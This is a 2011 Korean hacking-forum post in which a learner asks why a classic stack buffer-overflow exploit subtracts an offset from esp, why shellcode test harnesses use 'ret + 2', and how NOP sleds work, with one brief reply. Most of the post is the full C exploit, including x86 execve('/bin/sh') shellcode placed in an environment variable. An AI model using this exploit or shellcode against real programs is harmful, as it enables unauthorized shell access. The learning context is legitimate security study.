시스템 해킹

 1576, 1/79 회원가입  로그인  
   jaewonm
   BOF 질문

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1486 [복사]


#include <stdlib.h>
#define offset_size        0 #define buffer_size        512

char sc[] = “\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46” “\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1” “\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;

unsigned long find_start(void) {
       __asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[]) {
      char *buff, *ptr; long *addr_ptr, addr;
      int offset=offset_size, bsize=buffer_size;
      int i;

      if (argc > 1) bsize = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
      addr = find_start() - offset;
     printf(“Attempting address: 0x%x\n”, addr);
     ptr = buff; addr_ptr = (long *) ptr;
    
     for (i = 0; i < bsize; i+=4)
           *(addr_ptr++) = addr; ptr += 4;
     for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i];
           buff[bsize - 1] = ‘\0’;
     memcpy(buff,”BUF=”,4);
     putenv(buff);
     system(“/bin/bash”);
}

이 코드에서 쉘코드가 있는 버퍼의 메모리 주소를 예상하는 코드에서
왜 현재 프로그램의 esp에서 -offset 을 빼주는 지 모르겠습니다.

의문점
1.  쉘을 실행해서 취약한 프로그램을 실행하면 스택프레임이 위의 프로그램 스택프레임보다 lower address에
있기 때문에 offset을 빼주는 건가요??

2. 위의 코드와는 상관이 없는 질문인데 쉘코드를 만들어서 제대로 동작하는지 확인하는 예제들에서 흔히
int* ret
ret = (int*)&ret+ 2 이런 식의 코드를 흔히 볼 수 있는데 쉘코드가 있는 주소로 return하기위함임은 알겠는데

왜 ret할 주소에다가 뒤에 2 ( 또는 다른 숫자)를 더하는 건지도 궁금합니다.

  Hit : 3580     Date : 2011/05/15 04:46



    
jaewonm 그리고 NOP 을 이용해서 공격할 때 offset을 지정안하고 버퍼사이즈만 지정해도 쉘을 획득하는데
offset을 0 으로 하면 어떻게 쉘코드를 실행할 수있는지도 궁금합니다~
2011/05/15  
helloman 1. shellcode가 어디에 위치하고 있느냐에 따라 esp를 기준으로 offset은 + or -할수 있어요
2. 요런건 디버깅 직접해보세요.shellcode가 시작되는 주소랑 +2 하지안은 ret주소값하고 비교 gogo
그럼 금방 해결 할 수 있을거에요.
2011/05/24